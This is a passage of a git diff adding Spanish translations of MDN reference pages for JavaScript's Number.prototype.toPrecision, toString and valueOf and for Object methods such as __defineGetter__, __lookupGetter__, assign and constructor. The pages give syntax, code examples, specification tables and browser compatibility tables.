+<p>Si el parámetro <code>precision</code> es omitido, se comporta como {{jsxref("Number.prototype.toString()")}}. Si el parámetro <code>precision</code> es un valor no entero, el valor es redondeado al entero más cercano.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/RangeError", "RangeError")}}</dt>
+ <dd>If <code>precision</code> is not between 1 and 100 (inclusive), a {{jsxref("RangeError")}} is thrown. Implementations are allowed to support larger and smaller values as well. ECMA-262 only requires a precision of up to 21 significant digits.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_toPrecision">Usando <code>toPrecision</code></h3>
+
+<pre class="brush: js">var numObj = 5.123456;
+
+console.log(numObj.toPrecision());    // logs '5.123456'
+console.log(numObj.toPrecision(5));   // logs '5.1235'
+console.log(numObj.toPrecision(2));   // logs '5.1'
+console.log(numObj.toPrecision(1));   // logs '5'
+
+numObj = 0.000123
+
+console.log(numObj.toPrecision());    // logs '0.000123'
+console.log(numObj.toPrecision(5));   // logs '0.00012300'
+console.log(numObj.toPrecision(2));   // logs '0.00012'
+console.log(numObj.toPrecision(1));   // logs '0.0001'
+
+// observe que bajo algunas circunstancias el valor retornado es en notación exponencial
+console.log((1234.5).toPrecision(2)); // logs '1.2e+3'
+</pre>
+
+<h2 id="Especificaciónes">Especificaciónes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Primera definición. Implementada en JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.7', 'Number.prototype.toPrecision')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.toPrecision")}}</p>
+
+<h2 id="Vea_También">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/tostring/index.html b/files/es/web/javascript/referencia/objetos_globales/number/tostring/index.html
new file mode 100644
index 0000000000..f911fa271e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/tostring/index.html
@@ -0,0 +1,63 @@
+---
+title: Number.prototype.toString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/toString
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString
+---
+<div>{{JSRef("Objetos_globales", "Number")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Devuelve una cadena que representa al objeto <em>Number</em> especificado</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<p><code><em>number</em> .toString( {{ mediawiki.external('<em>base</em> ') }} )</code></p>
+
+<h3 id="Par.C3.A1metro" name="Par.C3.A1metro">Parámetro</h3>
+
+<dl>
+ <dt>base</dt>
+ <dd>Un entero entre 2 y 36 especificando la base a usar para representar los valores numéricos.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Una cadena que representa al objeto.</p>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>El objeto <code>Number</code> sobreescribe el método <code>toString</code> y no lo hereda del objeto {{jsxref("Object")}}; por tanto no hereda {{jsxref("Object.prototype.toString()")}}. Para objetos <code>Number</code>, el método <code>toString</code> devuelve una cadena que representa al objeto en la base especificada.</p>
+
+<p>El método toString comprueba su primer argumento, e intenta devolver una cadena de representación en la base especificada. Para bases superiores a 10, las letras del alfabeto indican numerales mayores de 9. Por ejemplo, para números hexadecimales (base 16), se utiliza de A hasta F.</p>
+
+<p>Si no se da a toString una base entre 2 y 36, se lanza una excepción.</p>
+
+<p>Si no se especifica la base, JavaScript asume la base predefinida, que es 10.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">var howMany = 10;
+
+alert("howMany.toString() is " + howMany.toString()); // displays "10"
+
+alert("45 .toString() is " + 45 .toString()); //displays "45"
+
+var x = 7;
+alert(x.toString(2))      // Displays "111"
+</pre>
+
+
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/valueof/index.html b/files/es/web/javascript/referencia/objetos_globales/number/valueof/index.html
new file mode 100644
index 0000000000..588c421746
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/valueof/index.html
@@ -0,0 +1,81 @@
+---
+title: Number.prototype.valueOf()
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/valueOf
+tags:
+  - JavaScript
+  - Métodos
+  - Number
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>valueOf()</code></strong> retorna el valor primitivo inserto en un objeto {{jsxref("Number")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.valueOf()</code></pre>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>Un número representando al valor primitivo del objeto  {{jsxref("Number")}} especificado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Este método es usualmente llamado de forma interna por JavaScript y no es explicitado en el código web.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_valueOf">Utilizando <code>valueOf</code></h3>
+
+<pre class="brush: js">var numObj = new Number(10);
+console.log(typeof numObj); // objeto
+
+var num = numObj.valueOf();
+console.log(num);           // 10
+console.log(typeof num);    // número
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.4', 'Number.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegador">Compatibilidad con navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si deseas contribuir con los datos, por favor, revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud.</p>
+
+<p>{{Compat("javascript.builtins.Number.valueOf")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/__definegetter__/index.html b/files/es/web/javascript/referencia/objetos_globales/object/__definegetter__/index.html
new file mode 100644
index 0000000000..fceb708912
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/__definegetter__/index.html
@@ -0,0 +1,144 @@
+---
+title: Object.prototype.__defineGetter__()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/__defineGetter__
+tags:
+  - JavaScript
+  - Objeto
+  - Prototipo
+  - Prototype
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__
+---
+<div>{{JSRef}}</div>
+
+<div class="warning">
+<p>Esta característica está obsoleta en favor de definir getters usando el <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer syntax</a> o la API {{jsxref("Object.defineProperty()")}}.</p>
+
+<p>En todo caso, como es ampliamente implementada y usada en la Web,  es poco probable que los navegadores dejen de implementarla.</p>
+</div>
+
+<p>El método <code><strong>__defineGetter__</strong></code> enlaza una propiedad de un objeto a una función a ser llamada cuando esa propiedad es buscada.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.__defineGetter__(<var>prop</var>, <var>func</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Un texto (string) que contiene el nombre de la propiedad para enlazar la función dada.</dd>
+ <dt><code>func</code></dt>
+ <dd>A function to be bound to a lookup of the specified property.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>The <code>__defineGetter__</code> allows a {{jsxref("Operators/get", "getter", "", 1)}} to be defined on a pre-existing object.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">// Forma no-estándar y obsoleta
+
+var o = {};
+o.__defineGetter__('gimmeFive', function() { return 5; });
+console.log(o.gimmeFive); // 5
+
+
+// Formas compatibles con el estándar
+
+// Usando el operador get
+var o = { get gimmeFive() { return 5; } };
+console.log(o.gimmeFive); // 5
+
+// Usando Object.defineProperty
+var o = {};
+Object.defineProperty(o, 'gimmeFive', {
+  get: function() {
+    return 5;
+  }
+});
+console.log(o.gimmeFive); // 5
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('JavaScript', '#object.prototype.__definegetter__', 'Object.prototype.__defineGetter__()')}}</td>
+   <td>{{Spec2('JavaScript')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.__defineSetter__()")}}</li>
+ <li>{{jsxref("Operators/get", "get")}} operator</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.prototype.__lookupGetter__()")}}</li>
+ <li>{{jsxref("Object.prototype.__lookupSetter__()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">JS Guide: Defining Getters and Setters</a></li>
+ <li><a href="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">[Blog Post] Deprecation of __defineGetter__ and __defineSetter__</a></li>
+ <li>{{bug(647423)}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/__lookupgetter__/index.html b/files/es/web/javascript/referencia/objetos_globales/object/__lookupgetter__/index.html
new file mode 100644
index 0000000000..8292222a38
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/__lookupgetter__/index.html
@@ -0,0 +1,84 @@
+---
+title: Object.prototype.__lookupGetter__()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/__lookupGetter__
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p>Los <code><strong>__lookupGetter__</strong></code> metodos retornan la funcion  enlazada como un getter para especificar la propiedad.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.__lookupGetter__(<var>sprop</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>sprop</code></dt>
+ <dd>A string containing the name of the property whose getter should be returned.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>The function bound as a getter to the specified property.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>If a getter has been defined for an object's property, it's not possible to reference the getter function through that property, because that property refers to the return value of that function. <code>__lookupGetter__</code> can be used to obtain a reference to the getter function.</p>
+
+<p>It is now possible to do this in a standardized way using {{jsxref("Object.getOwnPropertyDescriptor()")}} and {{jsxref("Object.getPrototypeOf()")}}.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var obj = {
+  get foo() {
+    return Math.random() &gt; 0.5 ? 'foo' : 'bar';
+  }
+};
+
+
+// Non-standard and deprecated way
+obj.__lookupGetter__('foo');
+// (function() { return Math.random() &gt; 0.5 ? 'foo' : 'bar'; })
+
+
+// Standard-compliant way
+Object.getOwnPropertyDescriptor(obj, "foo").get;
+// (function() { return Math.random() &gt; 0.5 ? 'foo' : 'bar'; })
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.__lookupGetter__', 'Object.prototype.__lookupGetter__()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Included in the (normative) annex for additional ECMAScript legacy features for Web browsers (note that the specification codifies what is already in implementations).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.lookupGetter")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.__lookupSetter__()")}}</li>
+ <li>{{jsxref("Functions/get", "get")}} operator</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}} and {{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.__defineGetter__()")}}</li>
+ <li>{{jsxref("Object.prototype.__defineSetter__()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">JS Guide: Defining Getters and Setters</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/assign/index.html b/files/es/web/javascript/referencia/objetos_globales/object/assign/index.html
new file mode 100644
index 0000000000..17de417d75
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/assign/index.html
@@ -0,0 +1,274 @@
+---
+title: Object.assign()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/assign
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Objeto
+  - Referencia
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>Object.assign()</code></strong> copia todas las propiedades enumerables de uno o más objetos fuente a un objeto destino. Devuelve el objeto destino. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-assign.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Object.assign(<var>objetivo</var>, ...<var>fuentes</var>)</pre>
+
+<h3 id="Parámetros" name="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>objetivo</code></dt>
+ <dd>El objeto destino.</dd>
+ <dt><code>fuentes</code></dt>
+ <dd>Los objetos origen.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El objeto destino.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Las propiedades en el objeto destino serán sobrescritas por las propiedades en las fuentes si tienen la misma clave. Propiedades posteriores de las fuentes podrán sobrescribir las anteriores.</p>
+
+<p>El método <code>Object.assign()</code> copia sólo las propiedades <em>enumerables</em> y <em>propias</em> del objeto origen a un objeto destino. Usa <code>[[Get]]</code> en la origen y <code>[[Set]] </code>en el destino, por lo que invocará los métodos de acceso y establecimiento (<em>getters</em> y <em>setters</em>). Por consiguiente <em>asignará</em> propiedades frente a sólo copiar o definir propiedades nuevas. Esto puede hacer que sea inadecuado para fusionar propiedades nuevas en un prototipo si los objetos fuente contienen métodos de acceso (<em>getters</em>). Para copiar definiciones de propiedades en prototipos, incluyendo su enumerabilidad, se deben usar {{jsxref("Object.getOwnPropertyDescriptor()")}} y {{jsxref("Object.defineProperty()")}}.</p>
+
+<p>Tanto las propiedades {{jsxref("String")}} como {{jsxref("Symbol")}} son copiadas.</p>
+
+<p>En caso de un error, por ejemplo si una propiedad es de solo lectura, se lanza un {{jsxref("TypeError")}}, y el objeto destino se mantendrá sin cambios.</p>
+
+<p>Note que <code>Object.assign()</code> no lanza excepciones al encontrar en las fuentes propiedades {{jsxref("null")}} o {{jsxref("undefined")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Clonando_un_objeto">Clonando un objeto</h3>
+
+<pre class="brush: js">var obj = { a: 1 };
+var copy = Object.assign({}, obj);
+console.log(copy); // { a: 1 }
+</pre>
+
+<h3 id="Advertencia_para_clonado_profundo">Advertencia para clonado profundo</h3>
+
+<p>Para un clonado profundo, necesitamos usar otra alternativa ya que <code>Object.assign()</code> copia valores de propiedades. Si el valor en la fuente es una referencia a un objeto, solo se copia la referencia en sí, como valor de la propiedad.</p>
+
+<pre class="brush: js">function test() {
+  'use strict';
+
+  let obj1 = { a: 0 , b: { c: 0}};
+  let obj2 = Object.assign({}, obj1);
+  console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
+
+  obj1.a = 1;
+  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
+  console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
+
+  obj2.a = 2;
+  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
+  console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 0}}
+
+  obj2.b.c = 3;
+  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 3}}
+  console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 3}}
+
+  // Deep Clone
+  obj1 = { a: 0 , b: { c: 0}};
+  let obj3 = JSON.parse(JSON.stringify(obj1));
+  obj1.a = 4;
+  obj1.b.c = 4;
+  console.log(JSON.stringify(obj3)); // { a: 0, b: { c: 0}}
+}
+
+test();</pre>
+
+<h3 id="Fusionando_objetos">Fusionando objetos</h3>
+
+<pre class="brush: js">var o1 = { a: 1 };
+var o2 = { b: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign(o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+console.log(o1);  // { a: 1, b: 2, c: 3 }, target object itself is changed.</pre>
+
+<h3 id="Fusionando_objetos_con_las_mismas_propiedades">Fusionando objetos con las mismas propiedades</h3>
+
+<pre class="brush: js">var o1 = { a: 1, b: 1, c: 1 };
+var o2 = { b: 2, c: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign({}, o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }</pre>
+
+<p>Las propiedades también son sobreescritas por otros objetos que aparecen posteriormente en la lista de parámetros y que tienen propiedades con el mismo nombre.</p>
+
+<h3 id="Copiando_propiedades_de_tipo_símbolo">Copiando propiedades de tipo símbolo</h3>
+
+<pre class="brush: js">var o1 = { a: 1 };
+var o2 = { [Symbol('foo')]: 2 };
+
+var obj = Object.assign({}, o1, o2);
+console.log(obj); // { a : 1, [Symbol("foo")]: 2 } (cf. bug 1207182 on Firefox)
+Object.getOwnPropertySymbols(obj); // [Symbol(foo)]
+</pre>
+
+<h3 id="Las_propiedades_heredadas_y_las_no_enumerables_no_pueden_ser_copiadas">Las propiedades heredadas y las no enumerables no pueden ser copiadas</h3>
+
+<pre class="brush: js">var obj = Object.create({ foo: 1 }, { // foo es una propiedad heredada.
+  bar: {
+    value: 2  // bar es una propiedad no enumerable.
+  },
+  baz: {
+    value: 3,
+    enumerable: true  // baz es una propiedad propia enumerable.
+  }
+});
+
+var copy = Object.assign({}, obj);
+console.log(copy); // { baz: 3 }
+</pre>
+
+<h3 id="Los_tipos_primitivos_serán_encapsulados_en_objetos">Los tipos primitivos serán encapsulados en objetos</h3>
+
+<pre class="brush: js">var v1 = 'abc';
+var v2 = true;
+var v3 = 10;
+var v4 = Symbol('foo')
+
+var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
+// Los tipos primitivos son encapsulados en objetos y se ignoran las propiedades con valor null o undefined.
+// Nótese que sólo los wrappers de cadenas tienen propiedades enumerables:
+console.log(obj); // { "0": "a", "1": "b", "2": "c" }
+</pre>
+
+<h3 id="Las_excepciones_interrumpen_la_tarea_de_copiado">Las excepciones interrumpen la tarea de copiado</h3>
+
+<pre class="brush: js">var target = Object.defineProperty({}, 'foo', {
+  value: 1,
+  writeable: false
+}); // target.foo es una propiedad de sólo lectura
+
+Object.assign(target, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 });
+// TypeError: "foo" es de sólo lectura
+// La excepción se lanza cuando se intenta asignar un valor a target.foo
+
+console.log(target.bar);  // 2, la primera fuente fue copiada.
+console.log(target.foo2); // 3, la primera propiedad del segundo objeto fuente se copió correctamente.
+console.log(target.foo);  // 1, se lanza la excepción.
+console.log(target.foo3); // undefined, el método assign ha finalizado, no se copiará foo3.
+console.log(target.baz);  // undefined, tampoco se copiará el tercer objecto fuente.
+</pre>
+
+<h3 id="Copiando_métodos_de_acceso">Copiando métodos de acceso</h3>
+
+<pre class="brush: js">var obj = {
+  foo: 1,
+  get bar() {
+    return 2;
+  }
+};
+
+var copy = Object.assign({}, obj);
+console.log(copy);
+// { foo: 1, bar: 2 }, the value of copy.bar is obj.bar's getter's return value.
+
+// This is an assign function that copies full descriptors
+function completeAssign(target, ...sources) {
+  sources.forEach(source =&gt; {
+    let descriptors = Object.keys(source).reduce((descriptors, key) =&gt; {
+      descriptors[key] = Object.getOwnPropertyDescriptor(source, key);
+      return descriptors;
+    }, {});
+    // by default, Object.assign copies enumerable Symbols too
+    Object.getOwnPropertySymbols(source).forEach(sym =&gt; {
+      let descriptor = Object.getOwnPropertyDescriptor(source, sym);
+      if (descriptor.enumerable) {
+        descriptors[sym] = descriptor;
+      }
+    });
+    Object.defineProperties(target, descriptors);
+  });
+  return target;
+}
+
+var copy = completeAssign({}, obj);
+console.log(copy);
+// { foo:1, get bar() { return 2 } }
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Polyfill</h2>
+
+<p>Este {{Glossary("Polyfill","polyfill")}} no soporta propiedades símbolo, ya que ES5 no tiene símbolos.</p>
+
+<pre class="brush: js">if (typeof Object.assign != 'function') {
+  // Must be writable: true, enumerable: false, configurable: true
+  Object.defineProperty(Object, "assign", {
+    value: function assign(target, varArgs) { // .length of function is 2
+      'use strict';
+      if (target == null) { // TypeError if undefined or null
+        throw new TypeError('Cannot convert undefined or null to object');
+      }
+
+      var to = Object(target);
+
+      for (var index = 1; index &lt; arguments.length; index++) {
+        var nextSource = arguments[index];
+
+        if (nextSource != null) { // Skip over if undefined or null
+          for (var nextKey in nextSource) {
+            // Avoid bugs when hasOwnProperty is shadowed
+            if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
+              to[nextKey] = nextSource[nextKey];
+            }
+          }
+        }
+      }
+      return to;
+    },
+    writable: true,
+    configurable: true
+  });
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Object.assign")}}</p>
+</div>
+
+<h2 id="Ver_también" name="Ver también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li><a href="/es/docs/Web/JavaScript/enumeracion_y_propietario_de_propiedades">Enumeración y propietarios de propiedades</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Operadores/Sintaxis_Spread#Spread_en_literales_tipo_Objeto">Spread en literales tipo Objeto</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/constructor/index.html b/files/es/web/javascript/referencia/objetos_globales/object/constructor/index.html
new file mode 100644
index 0000000000..3871c41fe3
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/constructor/index.html
@@ -0,0 +1,161 @@
+---
+title: Object.prototype.constructor
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/constructor
+tags:
+  - JavaScript
+  - Object
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/constructor
+---
+<div>{{JSRef("Objetos_globales", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Retorna una referencia a la función del {{jsxref("Object")}} que creó el objeto de la instancia. Note que el valor de esta propiedad es una referencia a la función misma, no a un string conteniendo el nombre de la función. El valor es sólo de lectura para valores primitivos tales como 1, true y 'test'.</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Todos los objetos tienen una propiedad <code>constructor.</code> Los objetos creados sin explicitar el uso de una función (como son los objetos y las cadenas literales) tendrán una propiedad de <code>constructor</code> que apunta al tipo de constructor del Objeto Fundamento para ese objeto.</p>
+
+<pre class="brush:js">var o = {};
+o.constructor === Object; // true
+
+var a = [];
+a.constructor === Array; // true
+
+var n = new Number(3);
+n.constructor === Number; // true</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Displaying_the_constructor_of_an_object" name="Example:_Displaying_the_constructor_of_an_object">Ejemplo: Mostrando el constructor de un objeto.</h3>
+
+<p>El siguiente ejemplo crea un prototipo, <code>Tree</code>, y un objeto de este tipo, <code>theTree</code>. El ejemplo muestra entonces la propiedad <code>constructor</code> para el objeto <code>theTree</code>.</p>
+
+<pre class="brush:js">function Tree (name) {
+   this.name = name;
+}
+
+var theTree = new Tree( "Redwood" );
+console.log( "theTree.constructor is " + theTree.constructor );</pre>
+
+<p>Este ejemplo muestra la siguiente salida:</p>
+
+<pre class="brush:js">theTree.constructor is function Tree (name) {
+    this.name = name;
+}</pre>
+
+<h3 id="Example:_Changing_the_constructor_of_an_object" name="Example:_Changing_the_constructor_of_an_object">Ejemplo: Cambiando el constructor de un objeto.</h3>
+
+<p>El siguiente ejemplo demuestra como modificar el valor del constructor de objetos genéricos. Solo <code>true</code>, <code>1</code> y <code>"test"</code> no serán afectados ya que ellos tienen constructores nativos de solo lectura. Este ejemplo demuestra que no siempre es seguro confiar en la propiedad constructor de un objeto.</p>
+
+<pre class="brush:js">function Type () {}
+
+var types = [
+    new Array(),
+    [],
+    new Boolean(),
+    true,             // no cambia
+<span style="line-height: normal;">    </span>new Date(),
+<span style="line-height: normal;">    </span>new Error(),
+<span style="line-height: normal;">    </span>new Function(),
